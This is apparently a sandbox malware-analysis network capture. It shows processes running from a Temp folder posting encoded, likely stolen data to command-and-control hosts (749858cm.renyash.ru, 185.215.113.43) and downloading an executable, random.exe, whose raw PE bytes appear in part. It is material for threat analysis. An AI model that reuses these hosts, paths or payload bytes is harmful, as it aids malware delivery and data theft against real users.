0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="file"------AKJKFBAFIDAEBFHJKJEB--
Dec 16, 2024 13:17:12.575042963 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49883	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:11.354298115 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1908 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:11.701699018 CET	1908	OUT	Data Raw: 58 53 43 53 59 5d 51 5d 5d 5a 59 53 57 5b 5a 53 5a 50 5f 55 51 5e 52 40 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XSCSY]Q]]ZYSW[ZSZP_UQ^R@XRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#(,6>/$70.+\#\;.(+<1"S=-) $0=8"F"#Y 4
Dec 16, 2024 13:17:12.439730883 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:12.688425064 CET	953	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nG4E4RmEXdrl0hlax0HiP%2BgcGyrQiHLiTuD921Mxiz26ibCK4cZI1q056yDnT4fq648cd8kgRYP0zb9OzgGfPhJKx83qtAnjH3ROL%2Bq7JMYGA9%2FHGTEIKAmaQOMxmFl6ABuEgrz1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9be3ccff199d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4658&min_rtt=1878&rtt_var=6265&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2251&delivery_rate=60525&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 39 1d 30 04 2a 5b 23 10 2f 56 2b 3f 3c 57 27 23 39 5e 2d 2f 0a 09 32 55 2e 10 32 21 22 01 25 24 06 04 23 22 3c 54 33 57 3f 0b 31 0d 23 5d 01 1b 27 41 27 58 36 5c 3c 01 21 01 24 20 32 0b 25 00 27 41 31 27 34 56 26 33 2b 1e 23 28 2e 1e 2f 22 39 00 3f 59 20 04 2e 09 22 03 34 2e 21 52 0d 13 21 08 27 3b 3a 10 27 0f 27 11 34 20 3f 5d 21 37 27 15 27 2c 20 0b 24 39 3c 12 24 2c 3a 1d 31 16 2f 5e 28 2b 31 0c 34 31 3f 0c 3c 14 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 9890*[#/V+?<W'#9^-/2U.2!"%$#"<T3W?1#]'A'X6\<!$ 2%'A1'4V&3+#(./"9?Y ."4.!R!';:''4 ?]!7'', $9<$,:1/^(+141?< R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49885	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:11.619349003 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:11.967305899 CET	1060	OUT	Data Raw: 58 54 43 51 59 5f 51 5e 5d 5a 59 53 57 5a 5a 51 5a 52 5f 5d 51 5e 52 44 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XTCQY_Q^]ZYSWZZQZR_]Q^RDXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ Y)?-\3'>#]4:?.#^<7S%22>5 $/\="F"#Y
Dec 16, 2024 13:17:12.707628012 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:12.944981098 CET	800	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A0ATAA31z0aze804WUyXVK4sfSSwNNP6KkaphkKmU5N5rSicSLexsoLervBXpRP4HQEpeqXnTqvqyJaRpjTzDOtrnfVPUGSBO0z7NRnWS8ZGVmbdnonesHkaP%2BxQtZ694AlrNqoF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9be57c428c77-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4546&min_rtt=1790&rtt_var=6185&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=61228&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49893	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:13.442898035 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:17:13.795588017 CET	1060	OUT	Data Raw: 5d 52 46 54 59 5f 54 52 5d 5a 59 53 57 5d 5a 54 5a 5e 5f 5f 51 52 52 47 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]RFTY_TR]ZYSW]ZTZ^__QRRGXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#+?.>''30 * .)+]<(2:*5 $8>8"F"#Y <
Dec 16, 2024 13:17:14.527981997 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:14.776923895 CET	801	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Y6PTDgkSkkWru1ibhfnDHvMi92y5RPyJUe7AibtGr3y5jWSTphWe6JwPoOHkJYJLAwhI0xMGoFTYX2Q6pa8v8BaRynihVSfL9gbA9IMn6Btm2EUyRbe5vqKqcjxJjRnFFleD%2FzB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9bf0daa84297-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6999&min_rtt=1587&rtt_var=11419&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=32528&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49909	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:15.483586073 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:17:15.842494011 CET	1060	OUT	Data Raw: 58 53 46 54 59 5e 54 5b 5d 5a 59 53 57 5e 5a 5e 5a 53 5f 59 51 5f 52 45 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XSFTY^T[]ZYSW^Z^ZS_YQ_REXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#+">-#\'V<3#]"9$X:9#?;(11-*>9 Q#Y>8"F"#Y 0
Dec 16, 2024 13:17:16.569688082 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:16.809317112 CET	808	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ej9gAhNjC09hsRBrdwSr0cwwRxLcBgviiEnVlq6e5TJbLIZUB4tGuMS7fAX4Hic%2BSo%2B3NeMXJnqkz88Ek%2BQpJ1soS6850zx%2FruBu5otMiITljbEOeybmhb1pg%2F6kBbP5ILTZiYti"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9bfd9b6d5e7f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4217&min_rtt=2078&rtt_var=5058&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=76069&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49911	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:15.808125019 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 30 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016097001&unit=246122658369
Dec 16, 2024 13:17:16.828166962 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49924	31.41.244.11	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:17.015065908 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 13:17:18.310270071 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:18 GMT Content-Type: application/octet-stream Content-Length: 727552 Last-Modified: Wed, 11 Dec 2024 08:22:24 GMT Connection: keep-alive ETag: "67594bc0-b1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL$XgN,6@P\|z@ld8h4d.textAMN `.rdata<~`V@@.dataL@.rsrc@@.reloc@B.bss0@.bss@
Dec 16, 2024 13:17:18.310306072 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:18.310340881 CET	448	IN	Data Raw: 89 c7 83 f8 0f 77 2c 90 89 7d c4 c7 45 c8 0f 00 00 00 57 ff 75 e0 8d 45 b4 50 e8 f4 36 00 00 83 c4 0c 01 ef 83 c7 b4 eb 77 66 2e 0f 1f 84 00 00 00 00 00 90 89 7d d8 83 cf 0f 83 ff 17 b9 16 00 00 00 0f 43 cf 81 ff ff 0f 00 00 c7 45 f0 01 00 00 00 Data Ascii: w,}EWuEP6wf.}CEMrA$PL#FfAP1u}}EEWuVx6E]5MMuEC]ry1tL1fDi[1i
Dec 16, 2024 13:17:18.310394049 CET	1236	IN	Data Raw: eb 05 90 83 45 d0 04 8b 45 d8 83 f8 10 72 32 8d 50 01 81 fa 00 10 00 00 72 19 90 8b 4d dc 8b 41 fc 83 c1 fc 29 c1 83 f9 20 73 4a 8b 55 d8 83 c2 24 eb 03 8b 45 dc 90 52 50 e8 e4 10 00 00 83 c4 08 90 8b 45 cc 40 3b 75 0c 0f 85 b4 fd ff ff 90 8b 45 Data Ascii: EEr2PrMA) sJU$ERPE@;uEEMdH^_[]EOmfU]@U]@UM1]fff.U]@U]UWVeE
Dec 16, 2024 13:17:18.310426950 CET	1236	IN	Data Raw: 41 00 e8 c8 f8 ff ff 83 c4 08 89 45 e8 8b 55 e8 ff d2 6a 1c 68 00 e0 41 00 68 49 05 00 00 68 1c e0 41 00 e8 97 fc ff ff 83 c4 10 6a 09 68 00 60 41 00 57 56 e8 86 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 58 f0 41 00 e8 83 f8 ff ff 83 c4 08 8d 4d ec Data Ascii: AEUjhAhIhAjh`AWVh5XAMQj@hIhAuM11^_]uuVA'jhAUSWVL]eEEE"@dMdd=0w@XAhb-/5XA
Dec 16, 2024 13:17:18.310461044 CET	1236	IN	Data Raw: c5 0c 83 c4 1c 5d c3 cc cc cc cc 8b 44 24 08 83 f8 0f 74 0d 83 f8 02 75 0d 6a 00 ff 15 8c cd 41 00 31 c0 c2 10 00 ff 25 84 cd 41 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 58 90 89 65 e4 c7 45 f0 ff ff ff ff 8d 45 e8 Data Ascii: ]D$tujA1%AUSWVXeEEE"@dMdjEWEEEE@EjAEE`AEPAft(WEEjjjEPAuugEd
Dec 16, 2024 13:17:18.310496092 CET	1236	IN	Data Raw: 90 8b 55 08 89 65 e4 c7 45 f0 ff ff ff ff 8d 45 e8 c7 45 ec 20 23 40 00 64 8b 0d 00 00 00 00 89 4d e8 64 a3 00 00 00 00 89 55 e0 90 8b 4d 08 8b 01 8b 49 04 c7 45 f0 01 00 00 00 50 ff d1 83 c4 04 e8 f8 0b 00 00 90 ff 75 08 e8 52 02 00 00 83 c4 04 Data Ascii: UeEEE #@dMdUMIEPuREd1^_[]UPM3]fffff.UPu]UeEEE0#@dUdtEuEd
Dec 16, 2024 13:17:18.310532093 CET	896	IN	Data Raw: f1 33 c0 8b 4d 08 8b fe ab 8d 51 01 ab ab ab 83 66 10 00 83 66 14 00 8a 01 41 84 c0 75 f9 2b ca 51 ff 75 08 8b ce e8 75 04 00 00 5f 8b c6 5e 5d c2 04 00 55 8b ec 56 57 ff 75 08 8b f1 33 c0 8b fe ab ab ab ab 83 66 10 00 83 66 14 00 e8 08 00 00 00 Data Ascii: 3MQffAu+Quu_^]UVWu3ff_^]UVuW~vF@PVW!FGFGf_F^]UQS]WOG+M;w5V4VQwvuSuV!!^Su
Dec 16, 2024 13:17:18.310566902 CET	1236	IN	Data Raw: 08 8b c6 8b 55 0c 89 4e 0c 8b 4d fc c7 06 c4 61 41 00 33 cd 89 56 10 5e e8 74 fa ff ff c9 c2 0c 00 55 8b ec 56 8b 75 08 57 56 8b f9 e8 a3 fa ff ff c7 07 c4 61 41 00 8b 46 0c 8b 56 10 89 47 0c 8b c7 89 57 10 5f 5e 5d c2 04 00 55 8b ec 56 8b f1 8d Data Ascii: UNMaA3V^tUVuWVaAFVGW_^]UVFD`APEYtjVYY^]j [AuEMPueEPuuMaAUVuNaA^],AUQuY
Dec 16, 2024 13:17:18.310658932 CET	1236	IN	Data Raw: 2c ff ff ff 7f 75 0a c7 41 2c fe ff ff 7f 32 c0 c3 b0 01 c3 55 8b ec 51 56 6a 00 6a ff ff 75 08 ff 15 6c cd 41 00 83 f8 ff 74 32 8b 75 10 85 f6 74 16 8d 45 fc 50 ff 75 08 ff 15 b4 cc 41 00 85 c0 74 1a 8b 45 fc 89 06 ff 75 08 ff 15 48 cc 41 00 f7 Data Ascii: ,uA,2UQVjjulAt2utEPuAtEuHAjX^%AUMhAEPU$jAtjY)AAAA5A=AfAfAfAfAf%Af-AA
Dec 16, 2024 13:17:18.430563927 CET	1236	IN	Data Raw: ff d6 eb 06 ff 15 f0 cc 41 00 8b 4d f4 64 89 0d 00 00 00 00 59 5e c9 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 8b 44 24 18 0b c0 75 18 8b 4c 24 14 8b 44 24 10 33 d2 f7 f1 8b d8 8b 44 24 0c f7 f1 8b d3 eb 41 8b c8 8b 5c 24 Data Ascii: AMdY^SVD$uL$D$3D$A\$T$D$ud$D$r;T$wr;D$vN3^[SD$uL$D$3D$3P\$T$D$ud$d$r;T$wr;D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49925	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:17.114734888 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:17.468148947 CET	1060	OUT	Data Raw: 5d 57 46 50 59 5f 51 5f 5d 5a 59 53 57 53 5a 5f 5a 51 5f 5d 51 52 52 43 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]WFPY_Q_]ZYSWSZ_ZQ_]QRRCXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ Z<='$$\%>?_"98]:);012=-64 )"F"#Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49931	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:17.843331099 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1936 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:18.201937914 CET	1936	OUT	Data Raw: 58 52 46 57 59 5c 54 5b 5d 5a 59 53 57 59 5a 51 5a 50 5f 55 51 59 52 47 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XRFWY\T[]ZYSWYZQZP_UQYRGXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#+,6V='''#.:?3R&&)>"';=("F"#Y ,
Dec 16, 2024 13:17:18.931741953 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:19.167527914 CET	955	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DVzGb8GT5oidhQGZXjiZHn7xn41vOT8eZbOoP6UyWy%2FaGAktt7f2lx%2BTJyIH%2FHm9fHMLoODz9XmQcIQ2HGGY8eVBs2Fl%2Bfpkab70Y9KbzzCSIwgyzSghhANDo4oWLOyjn9e8g8tN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c0c5c9f2394-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4239&min_rtt=1903&rtt_var=5386&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2279&delivery_rate=70901&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 39 1d 27 3e 31 07 20 58 38 0f 2b 3f 2f 0e 24 33 22 04 2c 3f 0d 19 31 0d 2a 5b 25 32 2e 06 25 34 23 16 34 31 02 50 30 31 34 57 26 0d 23 5d 01 1b 24 1d 33 00 2a 58 3c 2f 04 5b 33 20 35 1e 26 2e 24 18 27 27 37 0e 32 20 37 56 21 28 04 13 2f 21 3e 59 3c 3f 09 5d 2d 23 3e 03 23 3e 21 52 0d 13 22 54 30 5e 3a 5a 24 08 3c 04 37 0a 3c 01 36 27 33 1a 33 2c 3c 0d 25 03 3b 04 24 01 2d 00 25 38 30 01 29 5e 22 1d 37 0c 09 0c 2a 2e 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 989'>1 X8+?/$3",?1[%2.%4#41P014W&#]$3X</[3 5&.$''72 7V!(/!>Y<?]-#>#>!R"T0^:Z$<7<6'33,<%;$-%80)^"7*. R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49932	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:17.999409914 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:18.361078024 CET	1060	OUT	Data Raw: 58 51 43 52 59 51 54 53 5d 5a 59 53 57 5e 5a 5e 5a 57 5f 5f 51 5b 52 45 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XQCRYQTS]ZYSW^Z^ZW__Q[REXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ Y</2V=>?'$'44$997)(<&"))7$3(8"F"#Y 0
Dec 16, 2024 13:17:19.084909916 CET	25	IN	HTTP/1.1 100 Continue
